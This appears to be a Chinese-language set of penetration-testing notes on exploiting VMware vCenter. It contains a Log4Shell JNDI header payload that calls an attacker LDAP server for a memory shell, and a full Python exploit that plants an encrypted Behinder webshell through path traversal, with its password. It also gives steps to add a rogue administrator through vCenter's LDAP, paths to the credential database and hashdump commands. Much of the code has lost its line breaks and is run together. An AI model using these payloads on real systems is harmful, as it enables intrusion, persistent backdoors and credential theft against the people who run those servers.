Vcenter 漏洞复现总结

vCenter6.7U3j 链接:https://pan.baidu.com/s/1Zeu6_iqOd0kRjbIqDmXQCw 提取码: 1111

/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.43.3User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentX-Forwarded-For:${jndi:ldap://192.168.43.113:1389/TomcatBypass/Stomcatmemlistenershell}Sec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1

 filterMap.addURLPattern("/ui/xxx.ico");

https://192.168.200.147/ui/../xxx.ico

https://github.com/r0ckysec/CVE-2021-21985

ps auxww | grep vsphere-ui

kill -9 16940 && /usr/java/jre-vmware/bin/vsphere-ui.launcher -Xmx597m -XX:CompressedClassSpaceSize=256m -Xss320k -XX:ParallelGCThreads=1 -Djava.io.tmpdir=/usr/lib/vmware-vsphere-ui/server/work/tmp -Dorg.eclipse.virgo.kernel.home=/usr/lib/vmware-vsphere-ui/server -DPS_BASEDIR=/storage/vsphere-ui/ -Declipse.ignoreApp=true -Dcatalina.base=/usr/lib/vmware-vsphere-ui/server -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/vmware/vsphere-ui/ -XX:ErrorFile=/var/log/vmware/vsphere-ui/java_error%p.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintReferenceGC -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10 -XX:GCLogFileSize=1024K -XX:-OmitStackTraceInFastThrow -Xloggc:/var/log/vmware/vsphere-ui/vsphere-ui-gc.log -Djava.security.properties=/etc/vmware/java/vmware-override-java.security -Djava.ext.dirs=/usr/java/jre-vmware/lib/ext:/usr/java/packages/lib/ext:/opt/vmware/jre_ext/ -Dorg.osgi.framework.system.packages.extra=sun.misc -Dsun.zip.disableMemoryMapping=true -Dui.component.name=vsphere-ui -Dvlsi.client.vecs.certstore=false -DisFling=false -Dorg.apache.tomcat.websocket.DISABLE_BUILTIN_EXTENSIONS=true -Dlogback.configurationFile=/usr/lib/vmware-vsphere-ui/server/conf/serviceability.xml -Dlogs.dir=/var/log/vmware/vsphere-ui/logs/ -Dhttps.port=5443 -Dhttp.port=5090 -Dshutdown.port=-1 -Dcom.sun.org.apache.xml.internal.security.ignoreLineBreaks=true-Dorg.apache.xml.security.ignoreLineBreaks=true -classpath /usr/lib/vmware-vsphere-ui/server/bootstrap/server-launcher.jar:/usr/lib/vmware-vsphere-ui/server/bin/bootstrap.jar:/usr/lib/vmware-vsphere-ui/server/bin/tomcat-juli.jar com.vmware.vise.launcher.tomcat.TomcatLauncher start

CVE-2021-22015 本地提权CVE-2021-3156  本地提权https://github.com/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.pyhttps://www.pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/
https://github.com/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.pyhttps://www.pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/

import requestsimport randomimport stringimport sysimport timeimport requestsimport urllib3import argparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  def id_generator(size=6, chars=string.ascii_lowercase + string.digits):    return ''.join(random.choice(chars) for _ in range(size))    def escape(_str):    _str = _str.replace("&", "&amp;")    _str = _str.replace("<", "&lt;")    _str = _str.replace(">", "&gt;")    _str = _str.replace(""", "&quot;")    return _str    def str_to_escaped_unicode(arg_str):    escaped_str = ''    for s in arg_str:        val = ord(s)        esc_uni = "\u{:04x}".format(val)        escaped_str += esc_uni    return escaped_str  def createAgent(target, agent_name, log_param):         url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)    headers = { "Cache-Control": "max-age=0",                "Upgrade-Insecure-Requests": "1",                "User-Agent": "Mozilla/5.0",                "X-Deployment-Secret": "abc",                "Content-Type": "application/json",                "Connection": "close" }                   json_data = { "manifestSpec":{},                   "objectType": "a2",                  "collectionTriggerDataNeeded":  True,                  "deploymentDataNeeded":True,                   "resultNeeded": True,                   "signalCollectionCompleted":True,                   "localManifestPath": "a7",                  "localPayloadPath": "a8",                  "localObfuscationMapPath": "a9" }                      requests.post(url, headers=headers, json=json_data, verify=False)     def generate_manifest(webshell_location, webshell):     manifestData = """<manifest recommendedPageSize="500">       <request>          <query name="vir:VCenter">             <constraint>                <targetType>ServiceInstance</targetType>             </constraint>             <propertySpec>                <propertyNames>content.about.instanceUuid</propertyNames>                <propertyNames>content.about.osType</propertyNames>                <propertyNames>content.about.build</propertyNames>                <propertyNames>content.about.version</propertyNames>             </propertySpec>          </query>       </request>       <cdfMapping>          <indepedentResultsMapping>             <resultSetMappings>                <entry>                   <key>vir:VCenter</key>                   <value>                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">                         <resourceItemToJsonLdMapping>                            <forType>ServiceInstance</forType>                         <mappingCode><![CDATA[                                #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##                            #set($orig_log = $appender.getFile())##                            #set($logger = $GLOBAL-logger.logger.parent)##                                 $appender.setFile("%s")##                                 $appender.activateOptions()##                              $logger.warn("%s")##                               $appender.setFile($orig_log)##                                 $appender.activateOptions()##]]>                         </mappingCode>                         </resourceItemToJsonLdMapping>                      </value>                   </value>                </entry>             </resultSetMappings>          </indepedentResultsMapping>       </cdfMapping>       <requestSchedules>          <schedule interval="1h">             <queries>                <query>vir:VCenter</query>             </queries>          </schedule>       </requestSchedules>    </manifest>""" % (webshell_location, webshell)        return manifestData def arg():    parser = argparse.ArgumentParser()    parser.add_argument("-t", "--target", help = "Target", required = True)    args = parser.parse_args()    target = args.target    print("[*] Target: %s" % target)    return target def exec():    target = arg()    # Variables    webshell_param = id_generator(6)    log_param = id_generator(6)    agent_name = id_generator(6)    shell_name = "Server.jsp"    webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""     webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name    webshell = str_to_escaped_unicode(webshell)    manifestData = generate_manifest(webshell_location,webshell)    print("[*] Creating Agent")    createAgent(target, agent_name, log_param)    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)    headers = {"Cache-Control": "max-age=0",                      "Upgrade-Insecure-Requests": "1",                      "User-Agent": "Mozilla/5.0",                      "X-Deployment-Secret": "abc",                      "Content-Type": "application/json",                      "Connection": "close"}    json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}    requests.post(url, headers=headers, json=json_data, verify=False)    #webshell连接地址    url = "%s/idm/..;/%s" % (target, shell_name)    code = requests.get(url=url, headers=headers,verify=False).status_code    if code != "404":        print("webshell地址: %s" % url)        print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )     else:        print("未获取到webshell地址")  if __name__ == '__main__':    exec()

 https://192.168.43.2/idm/..;/Server.jsp

https://github.com/horizon3ai/vcenter_saml_login

linux下路径：/storage/db/vmware-vmdir/data.mdbwindows路径：C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py

python vCenterLDAP_Manage.py adduser
input the new username: 1234admininput the dn: cn=1234admin,cn=Users,dc=vsphere,dc=localinput the userPrincipalName: [email protected]

python vCenterLDAP_Manage.py addadmininput the user dn: cn=1234admin,cn=Users,dc=vsphere,dc=local

volatility_2.6_win64_standalone.exe -f .WIN8-Snapshot1.vmem imageinfo

volatility_2.6_win64_standalone.exe -f .WIN8-Snapshot1.vmem --profile Win2008R2SP1x64_23418 hashdump